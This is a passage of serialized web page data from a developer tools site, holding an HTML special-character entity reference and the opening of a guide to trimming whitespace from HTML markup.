snippet sharing, component prototyping, and learning",[44,127334,127335],{},"For multi-file projects or build-tool-dependent code, use a full IDE instead",[11,127337,286],{"id":285},[16,127339,127340,127341,127343],{},"Ready to preview your HTML code instantly? Open our free ",[98,127342,109028],{"href":109027}," tool, paste your markup, and see it rendered in real time — no setup required.",[2043,127345,127346],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":127348},[127349,127350,127354,127360,127367,127368,127369],{"id":126896,"depth":337,"text":126897},{"id":126906,"depth":337,"text":126907,"children":127351},[127352,127353],{"id":126916,"depth":343,"text":126917},{"id":126993,"depth":343,"text":126994},{"id":127111,"depth":337,"text":127112,"children":127355},[127356,127357,127358,127359],{"id":84258,"depth":343,"text":84259},{"id":127120,"depth":343,"text":127121},{"id":127127,"depth":343,"text":127128},{"id":127134,"depth":343,"text":127135},{"id":100732,"depth":337,"text":100733,"children":127361},[127362,127363,127364,127365,127366],{"id":127143,"depth":343,"text":127144},{"id":127207,"depth":343,"text":127208},{"id":127221,"depth":343,"text":127222},{"id":127228,"depth":343,"text":127229},{"id":127235,"depth":343,"text":127236},{"id":127242,"depth":337,"text":127243},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Learn how to use browser-based HTML preview tools for quick prototyping and snippet testing.",{"immutable":363},"\u002Fguides\u002Fhtml-preview-guide",{"title":126891,"description":127370},"guides\u002Fhtml-preview-guide","A6sXKg0b5YGCOadPIMAIZ8W41g9mPX6rzyISFJwCQg0",{"id":127377,"title":127378,"body":127379,"date":2070,"description":128722,"extension":361,"meta":128723,"navigation":363,"path":117631,"readingTime":889,"seo":128724,"stem":128725,"__hash__":128726},"guides\u002Fguides\u002Fhtml-special-characters-reference.md","HTML Special Characters Reference: Complete Entity Code Table",{"type":8,"value":127380,"toc":128709},[127381,127385,127393,127396,127398,127549,127567,127569,127729,127732,127736,128000,128004,128166,128170,128493,128497,128500,128558,128561,128602,128606,128609,128653,128655,128683,128685,128699,128701,128706],[11,127382,127384],{"id":127383},"what-are-html-special-characters","What Are HTML Special Characters?",[16,127386,127387,127388,1856,127390,127392],{},"HTML special characters are symbols that either have reserved meaning in HTML (like ",[143,127389,6431],{},[143,127391,28226],{},") or fall outside the standard ASCII range. You represent them with entity codes so browsers render them correctly without misinterpreting your markup.",[16,127394,127395],{},"This reference organizes the most-used special characters by category, with all three entity formats — named, decimal, and hexadecimal.",[11,127397,122809],{"id":122808},[193,127399,127400,127415],{},[196,127401,127402],{},[199,127403,127404,127407,127409,127411,127413],{},[202,127405,127406],{},"Char",[202,127408,120159],{},[202,127410,5271],{},[202,127412,4031],{},[202,127414,207],{},[211,127416,127417,127435,127453,127471,127489,127508,127526],{},[199,127418,127419,127421,127425,127429,127433],{},[216,127420,13530],{},[216,127422,127423],{},[143,127424,98619],{},[216,127426,127427],{},[143,127428,120184],{},[216,127430,127431],{},[143,127432,120201],{},[216,127434,120359],{},[199,127436,127437,127439,127443,127447,127451],{},[216,127438,6431],{},[216,127440,127441],{},[143,127442,116644],{},[216,127444,127445],{},[143,127446,120372],{},[216,127448,127449],{},[143,127450,120377],{},[216,127452,120380],{},[199,127454,127455,127457,127461,127465,127469],{},[216,127456,28226],{},[216,127458,127459],{},[143,127460,116658],{},[216,127462,127463],{},[143,127464,120393],{},[216,127466,127467],{},[143,127468,120398],{},[216,127470,120401],{},[199,127472,127473,127475,127479,127483,127487],{},[216,127474,8721],{},[216,127476,127477],{},[143,127478,116672],{},[216,127480,127481],{},[143,127482,120414],{},[216,127484,127485],{},[143,127486,120419],{},[216,127488,120422],{},[199,127490,127491,127493,127497,127501,127505],{},[216,127492,9361],{},[216,127494,127495],{},[143,127496,117781],{},[216,127498,127499],{},[143,127500,116686],{},[216,127502,127503],{},[143,127504,120439],{},[216,127506,127507],{},"Apostrophe \u002F single quote",[199,127509,127510,127512,127516,127520,127524],{},[216,127511],{},[216,127513,127514],{},[143,127515,120451],{},[216,127517,127518],{},[143,127519,120456],{},[216,127521,127522],{},[143,127523,120461],{},[216,127525,120464],{},[199,127527,127528,127531,127536,127541,127546],{},[216,127529,127530],{},"­",[216,127532,127533],{},[143,127534,127535],{},"&shy;",[216,127537,127538],{},[143,127539,127540],{},"&#173;",[216,127542,127543],{},[143,127544,127545],{},"&#xAD;",[216,127547,127548],{},"Soft hyphen",[16,127550,127551,127552,1459,127554,1459,127556,1459,127558,1459,127560,127562,127563,127566],{},"The first five — ",[143,127553,13530],{},[143,127555,6431],{},[143,127557,28226],{},[143,127559,8721],{},[143,127561,9361],{}," — are the characters you ",[47,127564,127565],{},"must"," encode any time they appear as data inside HTML. Omitting them can break parsing or open XSS vulnerabilities.",[11,127568,121884],{"id":121883},[193,127570,127571,127585],{},[196,127572,127573],{},[199,127574,127575,127577,127579,127581,127583],{},[202,127576,127406],{},[202,127578,120159],{},[202,127580,5271],{},[202,127582,4031],{},[202,127584,207],{},[211,127586,127587,127605,127625,127643,127661,127679,127695,127713],{},[199,127588,127589,127591,127593,127598,127603],{},[216,127590,11938],{},[216,127592,3060],{},[216,127594,127595],{},[143,127596,127597],{},"&#36;",[216,127599,127600],{},[143,127601,127602],{},"&#x24;",[216,127604,121909],{},[199,127606,127607,127609,127613,127618,127623],{},[216,127608,121945],{},[216,127610,127611],{},[143,127612,121950],{},[216,127614,127615],{},[143,127616,127617],{},"&#162;",[216,127619,127620],{},[143,127621,127622],{},"&#xA2;",[216,127624,121953],{},[199,127626,127627,127629,127633,127637,127641],{},[216,127628,120735],{},[216,127630,127631],{},[143,127632,120740],{},[216,127634,127635],{},[143,127636,120745],{},[216,127638,127639],{},[143,127640,120750],{},[216,127642,120753],{},[199,127644,127645,127647,127651,127655,127659],{},[216,127646,120758],{},[216,127648,127649],{},[143,127650,120763],{},[216,127652,127653],{},[143,127654,120768],{},[216,127656,127657],{},[143,127658,120773],{},[216,127660,121940],{},[199,127662,127663,127665,127669,127673,127677],{},[216,127664,120712],{},[216,127666,127667],{},[143,127668,120717],{},[216,127670,127671],{},[143,127672,120722],{},[216,127674,127675],{},[143,127676,120727],{},[216,127678,120730],{},[199,127680,127681,127683,127685,127689,127693],{},[216,127682,121246],{},[216,127684,3060],{},[216,127686,127687],{},[143,127688,123315],{},[216,127690,127691],{},[143,127692,121975],{},[216,127694,123322],{},[199,127696,127697,127699,127701,127706,127710],{},[216,127698,121958],{},[216,127700,3060],{},[216,127702,127703],{},[143,127704,127705],{},"&#8361;",[216,127707,127708],{},[143,127709,121963],{},[216,127711,127712],{},"Korean won",[199,127714,127715,127717,127719,127723,127727],{},[216,127716,123327],{},[216,127718,3060],{},[216,127720,127721],{},[143,127722,123334],{},[216,127724,127725],{},[143,127726,123339],{},[216,127728,123342],{},[16,127730,127731],{},"Note that many currency symbols lack named entities. Use decimal or hexadecimal codes for those.",[11,127733,127735],{"id":127734},"mathematical-symbols","Mathematical Symbols",[193,127737,127738,127752],{},[196,127739,127740],{},[199,127741,127742,127744,127746,127748,127750],{},[202,127743,127406],{},[202,127745,120159],{},[202,127747,5271],{},[202,127749,4031],{},[202,127751,207],{},[211,127753,127754,127773,127796,127814,127832,127851,127867,127885,127903,127921,127941,127961,127981],{},[199,127755,127756,127758,127760,127765,127770],{},[216,127757,9448],{},[216,127759,3060],{},[216,127761,127762],{},[143,127763,127764],{},"&#43;",[216,127766,127767],{},[143,127768,127769],{},"&#x2B;",[216,127771,127772],{},"Plus",[199,127774,127775,127778,127783,127788,127793],{},[216,127776,127777],{},"−",[216,127779,127780],{},[143,127781,127782],{},"&minus;",[216,127784,127785],{},[143,127786,127787],{},"&#8722;",[216,127789,127790],{},[143,127791,127792],{},"&#x2212;",[216,127794,127795],{},"Minus",[199,127797,127798,127800,127804,127808,127812],{},[216,127799,120666],{},[216,127801,127802],{},[143,127803,120671],{},[216,127805,127806],{},[143,127807,120676],{},[216,127809,127810],{},[143,127811,120681],{},[216,127813,120684],{},[199,127815,127816,127818,127822,127826,127830],{},[216,127817,120689],{},[216,127819,127820],{},[143,127821,120694],{},[216,127823,127824],{},[143,127825,120699],{},[216,127827,127828],{},[143,127829,120704],{},[216,127831,120707],{},[199,127833,127834,127836,127838,127843,127848],{},[216,127835,7297],{},[216,127837,3060],{},[216,127839,127840],{},[143,127841,127842],{},"&#61;",[216,127844,127845],{},[143,127846,127847],{},"&#x3D;",[216,127849,127850],{},"Equals",[199,127852,127853,127855,127857,127861,127865],{},[216,127854,121207],{},[216,127856,3060],{},[216,127858,127859],{},[143,127860,123225],{},[216,127862,127863],{},[143,127864,123230],{},[216,127866,122065],{},[199,127868,127869,127871,127875,127879,127883],{},[216,127870,121201],{},[216,127872,127873],{},[143,127874,122038],{},[216,127876,127877],{},[143,127878,123243],{},[216,127880,127881],{},[143,127882,123248],{},[216,127884,122041],{},[199,127886,127887,127889,127893,127897,127901],{},[216,127888,121204],{},[216,127890,127891],{},[143,127892,122050],{},[216,127894,127895],{},[143,127896,123261],{},[216,127898,127899],{},[143,127900,123266],{},[216,127902,122053],{},[199,127904,127905,127907,127911,127915,127919],{},[216,127906,120643],{},[216,127908,127909],{},[143,127910,120648],{},[216,127912,127913],{},[143,127914,120653],{},[216,127916,127917],{},[143,127918,120658],{},[216,127920,120661],{},[199,127922,127923,127925,127929,127934,127939],{},[216,127924,122105],{},[216,127926,127927],{},[143,127928,122110],{},[216,127930,127931],{},[143,127932,127933],{},"&#8734;",[216,127935,127936],{},[143,127937,127938],{},"&#x221E;",[216,127940,122113],{},[199,127942,127943,127946,127948,127953,127958],{},[216,127944,127945],{},"√",[216,127947,3060],{},[216,127949,127950],{},[143,127951,127952],{},"&#8730;",[216,127954,127955],{},[143,127956,127957],{},"&#x221A;",[216,127959,127960],{},"Square root",[199,127962,127963,127966,127968,127973,127978],{},[216,127964,127965],{},"∑",[216,127967,3060],{},[216,127969,127970],{},[143,127971,127972],{},"&#8721;",[216,127974,127975],{},[143,127976,127977],{},"&#x2211;",[216,127979,127980],{},"Summation",[199,127982,127983,127985,127987,127992,127997],{},[216,127984,121213],{},[216,127986,3060],{},[216,127988,127989],{},[143,127990,127991],{},"&#960;",[216,127993,127994],{},[143,127995,127996],{},"&#x3C0;",[216,127998,127999],{},"Pi",[11,128001,128003],{"id":128002},"arrow-symbols","Arrow Symbols",[193,128005,128006,128020],{},[196,128007,128008],{},[199,128009,128010,128012,128014,128016,128018],{},[202,128011,127406],{},[202,128013,120159],{},[202,128015,5271],{},[202,128017,4031],{},[202,128019,207],{},[211,128021,128022,128040,128060,128078,128098,128121,128144],{},[199,128023,128024,128026,128030,128034,128038],{},[216,128025,121224],{},[216,128027,128028],{},[143,128029,122140],{},[216,128031,128032],{},[143,128033,123297],{},[216,128035,128036],{},[143,128037,123302],{},[216,128039,122143],{},[199,128041,128042,128044,128048,128053,128058],{},[216,128043,122160],{},[216,128045,128046],{},[143,128047,122165],{},[216,128049,128050],{},[143,128051,128052],{},"&#8593;",[216,128054,128055],{},[143,128056,128057],{},"&#x2191;",[216,128059,122168],{},[199,128061,128062,128064,128068,128072,128076],{},[216,128063,121221],{},[216,128065,128066],{},[143,128067,122152],{},[216,128069,128070],{},[143,128071,123279],{},[216,128073,128074],{},[143,128075,123284],{},[216,128077,122155],{},[199,128079,128080,128082,128086,128091,128096],{},[216,128081,122173],{},[216,128083,128084],{},[143,128085,122178],{},[216,128087,128088],{},[143,128089,128090],{},"&#8595;",[216,128092,128093],{},[143,128094,128095],{},"&#x2193;",[216,128097,122181],{},[199,128099,128100,128103,128108,128113,128118],{},[216,128101,128102],{},"↔",[216,128104,128105],{},[143,128106,128107],{},"&harr;",[216,128109,128110],{},[143,128111,128112],{},"&#8596;",[216,128114,128115],{},[143,128116,128117],{},"&#x2194;",[216,128119,128120],{},"Left-right arrow",[199,128122,128123,128126,128131,128136,128141],{},[216,128124,128125],{},"⇐",[216,128127,128128],{},[143,128129,128130],{},"&lArr;",[216,128132,128133],{},[143,128134,128135],{},"&#8656;",[216,128137,128138],{},[143,128139,128140],{},"&#x21D0;",[216,128142,128143],{},"Double left arrow",[199,128145,128146,128148,128153,128158,128163],{},[216,128147,121227],{},[216,128149,128150],{},[143,128151,128152],{},"&rArr;",[216,128154,128155],{},[143,128156,128157],{},"&#8658;",[216,128159,128160],{},[143,128161,128162],{},"&#x21D2;",[216,128164,128165],{},"Double right arrow",[11,128167,128169],{"id":128168},"typography-and-punctuation","Typography and Punctuation",[193,128171,128172,128186],{},[196,128173,128174],{},[199,128175,128176,128178,128180,128182,128184],{},[202,128177,127406],{},[202,128179,120159],{},[202,128181,5271],{},[202,128183,4031],{},[202,128185,207],{},[211,128187,128188,128206,128224,128242,128263,128284,128302,128325,128341,128359,128377,128395,128413,128433,128453,128473],{},[199,128189,128190,128192,128196,128200,128204],{},[216,128191,118433],{},[216,128193,128194],{},[143,128195,118430],{},[216,128197,128198],{},[143,128199,120477],{},[216,128201,128202],{},[143,128203,120482],{},[216,128205,83562],{},[199,128207,128208,128210,128214,128218,128222],{},[216,128209,120489],{},[216,128211,128212],{},[143,128213,120494],{},[216,128215,128216],{},[143,128217,120499],{},[216,128219,128220],{},[143,128221,120504],{},[216,128223,120507],{},[199,128225,128226,128228,128232,128236,128240],{},[216,128227,120512],{},[216,128229,128230],{},[143,128231,120517],{},[216,128233,128234],{},[143,128235,120522],{},[216,128237,128238],{},[143,128239,120527],{},[216,128241,83568],{},[199,128243,128244,128246,128250,128255,128260],{},[216,128245,122199],{},[216,128247,128248],{},[143,128249,122204],{},[216,128251,128252],{},[143,128253,128254],{},"&#167;",[216,128256,128257],{},[143,128258,128259],{},"&#xA7;",[216,128261,128262],{},"Section",[199,128264,128265,128267,128271,128276,128281],{},[216,128266,122212],{},[216,128268,128269],{},[143,128270,122217],{},[216,128272,128273],{},[143,128274,128275],{},"&#182;",[216,128277,128278],{},[143,128279,128280],{},"&#xB6;",[216,128282,128283],{},"Paragraph",[199,128285,128286,128288,128292,128296,128300],{},[216,128287,120620],{},[216,128289,128290],{},[143,128291,120625],{},[216,128293,128294],{},[143,128295,120630],{},[216,128297,128298],{},[143,128299,120635],{},[216,128301,120638],{},[199,128303,128304,128307,128312,128317,128322],{},[216,128305,128306],{},"·",[216,128308,128309],{},[143,128310,128311],{},"&middot;",[216,128313,128314],{},[143,128315,128316],{},"&#183;",[216,128318,128319],{},[143,128320,128321],{},"&#xB7;",[216,128323,128324],{},"Middle dot",[199,128326,128327,128329,128331,128335,128339],{},[216,128328,117892],{},[216,128330,3060],{},[216,128332,128333],{},[143,128334,117902],{},[216,128336,128337],{},[143,128338,122282],{},[216,128340,117905],{},[199,128342,128343,128345,128349,128353,128357],{},[216,128344,1811],{},[216,128346,128347],{},[143,128348,117833],{},[216,128350,128351],{},[143,128352,117838],{},[216,128354,128355],{},[143,128356,120566],{},[216,128358,120569],{},[199,128360,128361,128363,128367,128371,128375],{},[216,128362,3060],{},[216,128364,128365],{},[143,128366,117817],{},[216,128368,128369],{},[143,128370,117688],{},[216,128372,128373],{},[143,128374,120546],{},[216,128376,120549],{},[199,128378,128379,128381,128385,128389,128393],{},[216,128380,120574],{},[216,128382,128383],{},[143,128384,120579],{},[216,128386,128387],{},[143,128388,120584],{},[216,128390,128391],{},[143,128392,120589],{},[216,128394,120592],{},[199,128396,128397,128399,128403,128407,128411],{},[216,128398,120597],{},[216,128400,128401],{},[143,128402,120602],{},[216,128404,128405],{},[143,128406,120607],{},[216,128408,128409],{},[143,128410,120612],{},[216,128412,120615],{},[199,128414,128415,128417,128421,128425,128430],{},[216,128416,9361],{},[216,128418,128419],{},[143,128420,117873],{},[216,128422,128423],{},[143,128424,117881],{},[216,128426,128427],{},[143,128428,128429],{},"&#x2018;",[216,128431,128432],{},"Left single quote",[199,128434,128435,128437,128441,128445,128450],{},[216,128436,9361],{},[216,128438,128439],{},[143,128440,117876],{},[216,128442,128443],{},[143,128444,117884],{},[216,128446,128447],{},[143,128448,128449],{},"&#x2019;",[216,128451,128452],{},"Right single quote",[199,128454,128455,128457,128461,128465,128470],{},[216,128456,8721],{},[216,128458,128459],{},[143,128460,117850],{},[216,128462,128463],{},[143,128464,117858],{},[216,128466,128467],{},[143,128468,128469],{},"&#x201C;",[216,128471,128472],{},"Left double quote",[199,128474,128475,128477,128481,128485,128490],{},[216,128476,8721],{},[216,128478,128479],{},[143,128480,117853],{},[216,128482,128483],{},[143,128484,117861],{},[216,128486,128487],{},[143,128488,128489],{},"&#x201D;",[216,128491,128492],{},"Right double quote",[11,128494,128496],{"id":128495},"how-to-use-entity-codes","How to Use Entity Codes",[16,128498,128499],{},"Insert the entity directly into your HTML where you want the character to appear:",[135,128501,128503],{"className":6417,"code":128502,"language":6419,"meta":141,"style":141},"\u003Cp>Price: &euro;49.99\u003C\u002Fp>\n\u003Cp>Temperature: 72&deg;F\u003C\u002Fp>\n\u003Cp>Click Next &rarr; to continue\u003C\u002Fp>\n",[143,128504,128505,128522,128540],{"__ignoreMap":141},[1560,128506,128507,128509,128511,128513,128515,128518,128520],{"class":1562,"line":1563},[1560,128508,6431],{"class":1570},[1560,128510,16],{"class":2484},[1560,128512,123468],{"class":1570},[1560,128514,120717],{"class":1576},[1560,128516,128517],{"class":1570},"49.99\u003C\u002F",[1560,128519,16],{"class":2484},[1560,128521,6441],{"class":1570},[1560,128523,128524,128526,128528,128531,128533,128536,128538],{"class":1562,"line":337},[1560,128525,6431],{"class":1570},[1560,128527,16],{"class":2484},[1560,128529,128530],{"class":1570},">Temperature: 72",[1560,128532,120625],{"class":1576},[1560,128534,128535],{"class":1570},"F\u003C\u002F",[1560,128537,16],{"class":2484},[1560,128539,6441],{"class":1570},[1560,128541,128542,128544,128546,128549,128551,128554,128556],{"class":1562,"line":343},[1560,128543,6431],{"class":1570},[1560,128545,16],{"class":2484},[1560,128547,128548],{"class":1570},">Click Next ",[1560,128550,122152],{"class":1576},[1560,128552,128553],{"class":1570}," to continue\u003C\u002F",[1560,128555,16],{"class":2484},[1560,128557,6441],{"class":1570},[16,128559,128560],{},"For characters without a named entity, use the decimal or hex form:",[135,128562,128564],{"className":6417,"code":128563,"language":6419,"meta":141,"style":141},"\u003Cp>Not equal: a &#8800; b\u003C\u002Fp>\n\u003Cp>Rupee: &#8377;1,000\u003C\u002Fp>\n",[143,128565,128566,128584],{"__ignoreMap":141},[1560,128567,128568,128570,128572,128575,128577,128580,128582],{"class":1562,"line":1563},[1560,128569,6431],{"class":1570},[1560,128571,16],{"class":2484},[1560,128573,128574],{"class":1570},">Not equal: a ",[1560,128576,123225],{"class":1576},[1560,128578,128579],{"class":1570}," b\u003C\u002F",[1560,128581,16],{"class":2484},[1560,128583,6441],{"class":1570},[1560,128585,128586,128588,128590,128593,128595,128598,128600],{"class":1562,"line":337},[1560,128587,6431],{"class":1570},[1560,128589,16],{"class":2484},[1560,128591,128592],{"class":1570},">Rupee: ",[1560,128594,123315],{"class":1576},[1560,128596,128597],{"class":1570},"1,000\u003C\u002F",[1560,128599,16],{"class":2484},[1560,128601,6441],{"class":1570},[11,128603,128605],{"id":128604},"browser-compatibility-notes","Browser Compatibility Notes",[16,128607,128608],{},"All modern browsers support the named, decimal, and hexadecimal entity formats described above. Here are a few edge cases to keep in mind:",[41,128610,128611,128621,128627,128648],{},[44,128612,128613,128617,128618,128620],{},[47,128614,128615],{},[143,128616,117781],{}," is defined in HTML5 and XML but was not valid in HTML4. Use ",[143,128619,116686],{}," if you need maximum backward compatibility.",[44,128622,128623,128626],{},[47,128624,128625],{},"Numeric entities always work"," across browsers and HTML versions, even when named entities are unsupported.",[44,128628,128629,128632,128633,128636,128637,1459,128639,1459,128641,1459,128643,1466,128645,128647],{},[47,128630,128631],{},"UTF-8 encoding"," makes most entities optional for display purposes — you can paste the literal character if your document declares ",[143,128634,128635],{},"\u003Cmeta charset=\"utf-8\">",". However, you still need entities for ",[143,128638,6431],{},[143,128640,28226],{},[143,128642,13530],{},[143,128644,8721],{},[143,128646,9361],{}," to avoid parsing issues.",[44,128649,128650,128652],{},[47,128651,87525],{}," may not support all named entities. Prefer numeric codes for reliable rendering across email clients.",[11,128654,1355],{"id":1354},[41,128656,128657,128660,128674,128677,128680],{},[44,128658,128659],{},"Use named entities for readability when they exist; fall back to decimal or hex codes",[44,128661,128662,128663,1459,128665,1459,128667,1459,128669,1459,128671,128673],{},"The five critical entities — ",[143,128664,98619],{},[143,128666,116644],{},[143,128668,116658],{},[143,128670,116672],{},[143,128672,117781],{}," — must always be encoded in HTML data",[44,128675,128676],{},"Currency, math, arrow, and typographic symbols frequently require entity codes in web content",[44,128678,128679],{},"Numeric entities work universally and cover the full Unicode range",[44,128681,128682],{},"UTF-8 charset lets you insert most characters directly, but reserved characters still need encoding",[11,128684,321],{"id":320},[41,128686,128687,128691,128695],{},[44,128688,128689],{},[98,128690,117626],{"href":117625},[44,128692,128693],{},[98,128694,118220],{"href":118219},[44,128696,128697],{},[98,128698,120062],{"href":120061},[11,128700,286],{"id":285},[16,128702,128703,128704,30633],{},"Look up, encode, and decode HTML special characters instantly with our free ",[98,128705,117645],{"href":117644},[2043,128707,128708],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":128710},[128711,128712,128713,128714,128715,128716,128717,128718,128719,128720,128721],{"id":127383,"depth":337,"text":127384},{"id":122808,"depth":337,"text":122809},{"id":121883,"depth":337,"text":121884},{"id":127734,"depth":337,"text":127735},{"id":128002,"depth":337,"text":128003},{"id":128168,"depth":337,"text":128169},{"id":128495,"depth":337,"text":128496},{"id":128604,"depth":337,"text":128605},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Full reference table of HTML special characters with named, decimal, and hexadecimal entity codes for web development.",{"immutable":363},{"title":127378,"description":128722},"guides\u002Fhtml-special-characters-reference","DYQhsFbGzUEPttIO9tDm2RYMlV916qXo2wdOdohsJhU",{"id":128728,"title":125070,"body":128729,"date":2070,"description":129667,"extension":361,"meta":129668,"navigation":363,"path":125069,"readingTime":1717,"seo":129669,"stem":129670,"__hash__":129671},"guides\u002Fguides\u002Fhtml-whitespace-optimization.md",{"type":8,"value":128730,"toc":129640},[128731,128735,128738,128741,128745,128748,128825,128832,128836,128847,128990,128993,128997,129004,129089,129096,129100,129177,129180,129184,129187,129191,129211,129214,129218,129228,129237,129241,129244,129252,129263,129298,129301,129320,129326,129330,129336,129367,129370,129374,129377,129381,129427,129431,129437,129458,129461,129483,129491,129495,129553,129556,129560,129563,129587,129589,129613,129615,129629,129631,129637],[11,128732,128734],{"id":128733},"why-whitespace-matters-in-html","Why Whitespace Matters in HTML",[16,128736,128737],{},"Whitespace makes source code readable for developers but costs bytes on the network. Every space, tab, and line break between tags adds characters the browser does not render. On a page with deeply nested markup, whitespace can account for 10–20% of the total file size.",[16,128739,128740],{},"Understanding how browsers handle whitespace helps you decide what to keep and what to remove.",[11,128742,128744],{"id":128743},"types-of-whitespace","Types of Whitespace",[16,128746,128747],{},"HTML recognizes three whitespace characters:",[193,128749,128750,128762],{},[196,128751,128752],{},[199,128753,128754,128756,128758,128760],{},[202,128755,7809],{},[202,128757,21954],{},[202,128759,7812],{},[202,128761,40637],{},[211,128763,128764,128778,128794,128809],{},[199,128765,128766,128770,128772,128775],{},[216,128767,128768],{},[143,128769,6841],{},[216,128771,6093],{},[216,128773,128774],{},"U+0020",[216,128776,128777],{},"Word separation, indentation",[199,128779,128780,128785,128788,128791],{},[216,128781,128782],{},[143,128783,128784],{},"\\t",[216,128786,128787],{},"Tab",[216,128789,128790],{},"U+0009",[216,128792,128793],{},"Indentation in source code",[199,128795,128796,128800,128803,128806],{},[216,128797,128798],{},[143,128799,8222],{},[216,128801,128802],{},"Line feed",[216,128804,128805],{},"U+000A",[216,128807,128808],{},"Line breaks between elements",[199,128810,128811,128816,128819,128822],{},[216,128812,128813],{},[143,128814,128815],{},"\\r",[216,128817,128818],{},"Carriage return",[216,128820,128821],{},"U+000D",[216,128823,128824],{},"Windows-style line endings",[16,128826,128827,128828,128831],{},"The browser's whitespace collapsing rule: ",[47,128829,128830],{},"sequences of whitespace characters collapse into a single space",". Three spaces become one. A tab plus two newlines becomes one space. This means most indentation whitespace is pure overhead.",[11,128833,128835],{"id":128834},"whitespace-between-block-elements","Whitespace Between Block Elements",[16,128837,128838,128839,1459,128841,1459,128844,128846],{},"Block elements (",[143,128840,69003],{},[143,128842,128843],{},"\u003Cp>",[143,128845,108772],{},") stack vertically. Whitespace between them collapses to nothing visually because block formatting contexts ignore inter-element whitespace.",[135,128848,128850],{"className":6417,"code":128849,"language":6419,"meta":141,"style":141},"\u003C!-- All the whitespace here is wasted bytes -->\n\u003Cdiv class=\"header\">\n  \u003Ch1>Title\u003C\u002Fh1>\n\u003C\u002Fdiv>\n\n\u003Cdiv class=\"content\">\n  \u003Cp>Paragraph\u003C\u002Fp>\n\u003C\u002Fdiv>\n\n\u003C!-- Minified: same visual result -->\n\u003Cdiv class=\"header\">\u003Ch1>Title\u003C\u002Fh1>\u003C\u002Fdiv>\u003Cdiv class=\"content\">\u003Cp>Paragraph\u003C\u002Fp>\u003C\u002Fdiv>\n",[143,128851,128852,128857,128872,128885,128893,128897,128912,128925,128933,128937,128942],{"__ignoreMap":141},[1560,128853,128854],{"class":1562,"line":1563},[1560,128855,128856],{"class":1649},"\u003C!-- All the whitespace here is wasted bytes -->\n",[1560,128858,128859,128861,128863,128865,128867,128870],{"class":1562,"line":337},[1560,128860,6431],{"class":1570},[1560,128862,7291],{"class":2484},[1560,128864,11423],{"class":1566},[1560,128866,7297],{"class":1570},[1560,128868,128869],{"class":5634},"\"header\"",[1560,128871,6441],{"class":1570},[1560,128873,128874,128876,128878,128881,128883],{"class":1562,"line":343},[1560,128875,11223],{"class":1570},[1560,128877,41446],{"class":2484},[1560,128879,128880],{"class":1570},">Title\u003C\u002F",[1560,128882,41446],{"class":2484},[1560,128884,6441],{"class":1570},[1560,128886,128887,128889,128891],{"class":1562,"line":365},[1560,128888,11242],{"class":1570},[1560,128890,7291],{"class":2484},[1560,128892,6441],{"class":1570},[1560,128894,128895],{"class":1562,"line":889},[1560,128896,1702],{"emptyLinePlaceholder":363},[1560,128898,128899,128901,128903,128905,128907,128910],{"class":1562,"line":1710},[1560,128900,6431],{"class":1570},[1560,128902,7291],{"class":2484},[1560,128904,11423],{"class":1566},[1560,128906,7297],{"class":1570},[1560,128908,128909],{"class":5634},"\"content\"",[1560,128911,6441],{"class":1570},[1560,128913,128914,128916,128918,128921,128923],{"class":1562,"line":1717},[1560,128915,11223],{"class":1570},[1560,128917,16],{"class":2484},[1560,128919,128920],{"class":1570},">Paragraph\u003C\u002F",[1560,128922,16],{"class":2484},[1560,128924,6441],{"class":1570},[1560,128926,128927,128929,128931],{"class":1562,"line":1747},[1560,128928,11242],{"class":1570},[1560,128930,7291],{"class":2484},[1560,128932,6441],{"class":1570},[1560,128934,128935],{"class":1562,"line":2507},[1560,128936,1702],{"emptyLinePlaceholder":363},[1560,128938,128939],{"class":1562,"line":2524},[1560,128940,128941],{"class":1649},"\u003C!-- Minified: same visual result 